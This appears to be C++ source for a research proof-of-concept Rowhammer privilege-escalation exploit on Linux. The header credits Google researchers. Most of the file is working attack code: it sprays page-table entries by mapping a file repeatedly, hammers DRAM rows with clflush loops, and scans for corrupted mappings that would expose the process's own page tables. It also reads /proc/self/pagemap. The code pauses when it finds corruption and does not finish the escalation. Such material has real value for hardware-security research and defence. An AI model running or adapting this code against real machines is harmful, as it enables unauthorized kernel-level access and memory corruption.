/*
 * An attempt at escalating privileges under Linux systems whose RAM is 
 * vulnerable to row hammering.
 *
 * Work by mseaborn@google.com and thomasdullien@google.com
 *
 * We can probabilistically flip random bits in physical memory in memory rows
 * "close" to the rows we are hammering. In order to exploit this, we wish to
 * have a (physical) memory layout that looks roughly like this:
 *
 * [Physical pages used by the kernel as PTEs for a mapping we have access to] 
 * [Physical page that gets hammered]
 * [Physical pages used by the kernel as PTEs for a mapping we have access to]
 * [Physical page that gets hammered]
 * (...)
 *
 * We wish to reach a point where a high fraction of physical memory is filled
 * with this pattern. When we cause a bit-flip in a physical page adjacent to
 * one we are hammering, we are corrupting a PTE for a page that is mapped into
 * our virtual address space.
 *
 * If we succeed in corrupting one of the bits for indexing into the physical
 * pages, we have a high probability that we will now have a RW mapping of a
 * part of our processes page table; this should allow us full privilege 
 * escalation.
 *
 * In order to obtain the desired layout in physical memory, we perform the
 * following actions:
 *
 * (1) Reserve a 1GB chunk for hammering, but do not allocate it yet.
 * (2) mmap() a file repeatedly into our address space to force the OS to create
 *     PTEs. For each 512m we map, we get 1m of PTEs.
 * (3) Touch the first/next page from the 1GB chunk.
 * (4) Repeat steps (2) and (3) until physical memory is full.
 * (5) Start row-hammering the 1GB area for a while.
 * (6) Iterate over all mappings created in step (2), and check whether they map
 *     to the correct page.
 * (7) If they do, we have lost. Goto (5).
 * (8) If they don't, we have won.
 *
 *
 */

#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/sysinfo.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

// Abort the attack after a given number of attempts at inducing bit flips.
const uint32_t maximum_tries = 1024;

const size_t hammer_workspace_size = 1ULL << 32;
const int toggles = 540000;

const uint64_t size_of_pte_sprays = 1ULL << 22;
const uint64_t size_of_hammer_targets = 1ULL << 20;

const char* mapped_filename = "./mapped_file.bin";
 
// Reserve, but do not map, a range of addresses of a given size.
uint8_t* reserve_address_space(uint64_t size) {
  uint8_t* mapping = (uint8_t*)mmap(NULL, size, PROT_NONE, 
      MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
  if (mapping == (void*)-1) {
    printf("[E] Failed to reserve %lx of address space, exiting\n", size);
    exit(1);
  }
  return mapping;
}

// Spray PTEs into kernel space by repeatedly mapping the same file into a
// given pre-reserved area of memory. 
//
// Returns the "end" of the mappings, e.g. the first address past the last file
// mapping that was created during the PTE spray.
uint8_t* spray_pte(
    uint8_t* address, uint64_t size_of_pte_spray, int file_descriptor,
    uint64_t file_size) {

  uint64_t size_of_sprayed_ptes = 0;
  while (size_of_sprayed_ptes < size_of_pte_spray) {
    void* mapping = mmap(address, file_size, PROT_READ | PROT_WRITE, 
        MAP_POPULATE | MAP_SHARED | MAP_FIXED, file_descriptor, 0);
    size_of_sprayed_ptes += file_size / 512;
    address += file_size + (file_size % 0x1000);  // Round up to next page size.

    if (mapping == (void*)-1) {
      printf("[E] Failed to spray PTE's (%s).\n", strerror(errno));
      exit(1);
    }
  }
  return address;
}

// Create and write the file that will be mapped later.
void create_and_write_file_to_be_mapped() {
  FILE* mapfile = fopen(mapped_filename, "wb");
  char pagedata[0x1000];
  uint16_t* start_page = (uint16_t*)&pagedata[0];
  memset(pagedata, 'X', sizeof(pagedata));

  for (uint32_t i = 0; i <= 0xFFFF; ++i) {
    start_page[0] = (uint16_t)i;
    fwrite(pagedata, sizeof(pagedata), sizeof(char), mapfile);
    fflush(mapfile);
  }
  fclose(mapfile);
}

// Obtain the size of the physical memory of the system.
uint64_t get_physical_memory_size() {
  struct sysinfo info;
  sysinfo( &info );
  return (size_t)info.totalram * (size_t)info.mem_unit;
}

// Pick a random page in the memory region.
uint8_t* pick_addr(uint8_t* area_base, uint64_t mem_size) {
  size_t offset = (rand() << 12) % mem_size;
  return area_base + offset;
}

// Helper class to show timing information during the hammering.
class Timer {
  struct timespec start_time_;

 public:
  Timer() {
    int rc = clock_gettime(CLOCK_MONOTONIC, &start_time_);
    assert(rc == 0);
  }

  double get_diff() {
    struct timespec end_time;
    int rc = clock_gettime(CLOCK_MONOTONIC, &end_time);
    assert(rc == 0);
    return (end_time.tv_sec - start_time_.tv_sec
            + (double) (end_time.tv_nsec - start_time_.tv_nsec) / 1e9);
  }

  void print_iters(uint64_t iterations) {
    double total_time = get_diff();
    double iter_time = total_time / iterations;
    printf("  %.3f nanosec per iteration: %g sec for %" PRIu64 " iterations\n",
           iter_time * 1e9, total_time, iterations);
  }
};

static void row_hammer(int iterations, int addr_count, uint8_t* area, 
    uint64_t size) {
  Timer t;
  for (int j = 0; j < iterations; j++) {
    uint32_t num_addrs = addr_count;
    volatile uint32_t *addrs[num_addrs];
    for (int a = 0; a < addr_count; a++) { 
      addrs[a] = (uint32_t *) pick_addr(area, size); 
    }

    uint32_t sum = 0;
    for (int i = 0; i < toggles; i++) {
      for (int a = 0; a < addr_count; a++) 
        sum += *addrs[a] + 1;
      for (int a = 0; a < addr_count; a++)
        asm volatile("clflush (%0)" : : "r" (addrs[a]) : "memory");
    }

    // Just some code to make sure the above summation is not optimized out.
    if (sum != 0) {
      printf("[!] Sum was %lx\n", (uint64_t)sum);
    }
  }
  t.print_iters(iterations * addr_count * toggles);
}

void dump_page(uint8_t* data) {
  for (int i = 0; i < 0x1000; ++i) {
    if (i % 32 == 0) {
      printf("\n");
    }
    printf("%2.2x ", data[i]);
  }
  printf("\n");
}

bool check_hammer_area_integrity(uint8_t *hammer_area, uint64_t max_size) {
  bool no_corruption = true;
  for (uint8_t* check = hammer_area; 
    check < hammer_area + max_size; ++check) {
    if (*check != 0xFF) {
      dump_page(check);
      printf("[!] Found bitflip inside hammer workspace at %lx.\n", 
        check-hammer_area);
      no_corruption = false;
    }
  }
  return no_corruption;
}

bool check_mapping_integrity(uint8_t* mapping, uint64_t max_size) {
  bool first_page_ok =
    (mapping[0] == 0) && (mapping[1] == 0) && (mapping[2] =='X');
  bool all_pages_ok = true;

  if (!first_page_ok) {
    return false;
  }

  // Check for all following pages that the dwords at the beginning of the 
  // pages are in ascending order.
  for (uint8_t* check_pointer = mapping + 0x1000; 
      check_pointer < mapping+max_size; check_pointer += 0x1000) {
    uint16_t* previous_page = (uint16_t*)(check_pointer-0x1000);
    uint16_t* current_page = (uint16_t*)check_pointer;
    uint16_t previous_page_counter = previous_page[0];
    uint16_t current_page_counter = current_page[0];
    //printf("%u == %u ?\n", (uint16_t)(previous_page_counter+1), 
    //    (uint16_t)current_page_counter);
    if ((uint16_t)(previous_page_counter + 1) != 
        (uint16_t)current_page_counter) {
      printf("[!] Possible winning ticket found at %lx\n", 
          (uint64_t)check_pointer);
      printf("[!] Expected page counter %x, got %x.", 
          (uint16_t)(previous_page_counter+1), (uint16_t)current_page_counter);
      // Dump the hexadecimal contents of the page.
      dump_page(check_pointer);
      all_pages_ok = false;  
    }
  } 
  return all_pages_ok;
}

uint64_t get_physical_address(uint64_t virtual_address) {
  int fd = open("/proc/self/pagemap", O_RDONLY);
  assert(fd >=0);

  off_t pos = lseek(fd, (virtual_address / 0x1000) * 8, SEEK_SET);
  assert(pos >= 0);
  uint64_t value;
  int got = read(fd, &value, 8);

  close(fd);
  assert(got == 8);
  return ((value & ((1ULL << 54)-1)) * 0x1000) | 
    (virtual_address & 0xFFF);
}

void dump_physical_addresses(uint8_t* mapping, uint64_t max_size) {
  for (uint8_t* begin = mapping; begin < mapping + max_size; begin += 0x1000) {
    printf("[!] Virtual %lx -> Physical %lx\n", (uint64_t)begin, 
        get_physical_address((uint64_t)begin));
  }
}

int main(int argc, char**argv) {
  // Reserve a massive (16 TB) area of address space for us to fill with file 
  // mappings of a file - the goal is to fill physical memory with PTEs.
  uint8_t* file_map_workspace = reserve_address_space(1ULL << 44);

  // Allocate, but do not yet populate a 1GB area of memory that we are going to
  // hammer.
  uint8_t* hammer_workspace = (uint8_t*) mmap(NULL, hammer_workspace_size,
      PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);

  printf("[!] Creating file to be mapped.\n");
  create_and_write_file_to_be_mapped();

  // Obtain the physical memory size of the current system.
  uint64_t physical_memory_size = get_physical_memory_size();
  printf("[!] System has %ld bytes of physical memory\n", physical_memory_size);

  // Open the file that we will repeatedly map to spray PTEs.
  int mapped_file_descriptor = open(mapped_filename, O_RDWR);
  struct stat st;
  if (stat(mapped_filename, &st) != 0) {
    printf("[E] Failed to stat %s, exiting.\n", mapped_filename);
    exit(1);
  }
  uint64_t file_size = st.st_size;

  // A rough estimate on how much physical memory has been sprayed.
  uint64_t physical_memory_consumed = 0;
  uint8_t* current_pointer_into_file_map_workspace = file_map_workspace;
  uint8_t* current_pointer_into_hammer_workspace = hammer_workspace;
  // Aim to spray into 90% of physical memory.
  while (physical_memory_consumed <= (0.1 * (double)physical_memory_size)) {

    // Spray a bunch of PTEs.
    current_pointer_into_file_map_workspace = 
      spray_pte(current_pointer_into_file_map_workspace, size_of_pte_sprays,
          mapped_file_descriptor, file_size);
    // Was the PTE spraying successful?
    if (current_pointer_into_file_map_workspace == (uint8_t*)-1) {
      printf("[!] Failed to spray PTEs after having consumed %lx bytes.", 
          physical_memory_consumed);
      exit(1);
    }
    physical_memory_consumed += size_of_pte_sprays;

    // Now touch a bunch of pages in the hammer workspace to have physical pages
    // allocated for them.
    for (uint64_t size_counter = 0; size_counter < size_of_hammer_targets;
        size_counter += 0x1000) {
      if ((current_pointer_into_hammer_workspace + size_counter) < 
          hammer_workspace + hammer_workspace_size) {
        memset(current_pointer_into_hammer_workspace + size_counter, 0xFF, 
            0x1000);
      }
    }
    current_pointer_into_hammer_workspace += size_of_hammer_targets;
    physical_memory_consumed += size_of_hammer_targets;
    printf("[!] Should have consumed ~%ld bytes of physical memory\n", 
        physical_memory_consumed);
  }

  // All memory should be properly set up to be hammered. Check the integrity
  // pre-hammering.
  printf("[!] Finished creating physical memory layout.\n");
  
  uint64_t hammer_area_size = current_pointer_into_hammer_workspace - 
    hammer_workspace;
  uint64_t mapping_area_size = current_pointer_into_file_map_workspace -
    file_map_workspace;

  // Dump virtual addresses to the console so we can inspect where they end up
  // in physical memory.
  printf("[!] Hammer workspace is at %lx and of %" PRId64 ".\n",
      (uint64_t)hammer_workspace, hammer_area_size);
  printf("[!] File mappings are at %lx and of %" PRId64 " size.\n",
      (uint64_t)file_map_workspace, mapping_area_size);

  // Dump virtual-to-physical mapping for the hammer area and the file mapping.
  printf("[!] Dumping physical addresses for hammer workspace.\n");
  dump_physical_addresses(hammer_workspace, hammer_area_size);
  printf("[!] Dumping physical addresses for file mapping.\n");
  dump_physical_addresses(file_map_workspace, file_size);

  printf("[!] Checking integrity of mapping prior to hammering ... ");
  if (check_mapping_integrity(file_map_workspace, mapping_area_size)) {
    printf("PASS\n");
  } else {
    printf("FAIL\n");
  }

  printf("[!] Checking integrity of mapping workspace prior to hammering ... ");
  fflush(stdout);
  if (check_hammer_area_integrity(hammer_workspace, hammer_area_size)) {
    printf("PASS\n");
  } else {
    printf("FAIL\n");
  }

  // Begin the actual hammering.
  for (int tries = 0; tries < maximum_tries; ++tries) {
    // Hammer memory.
    printf("[!] About to hammer for a few minutes.\n");
    row_hammer(3000, 4, hammer_workspace, current_pointer_into_hammer_workspace -
        hammer_workspace);

    // Attempt to verify the integrity of the mapping.
    printf("[!] Done hammering. Now checking mapping integrity.\n");
    if (!check_mapping_integrity(file_map_workspace, 
        current_pointer_into_file_map_workspace-file_map_workspace)) {
      fgetc(stdin);
    } else {
      printf("[!] No PTE entries modified\n");
    }

    printf("[!] Checking integrity of mapping workspace post-hammering ... ");
    fflush(stdout);
    if (check_hammer_area_integrity(hammer_workspace, 
        current_pointer_into_hammer_workspace - hammer_workspace)) {
       printf("PASS\n");
    } else {
      printf("FAIL\n");
    }

  }
}

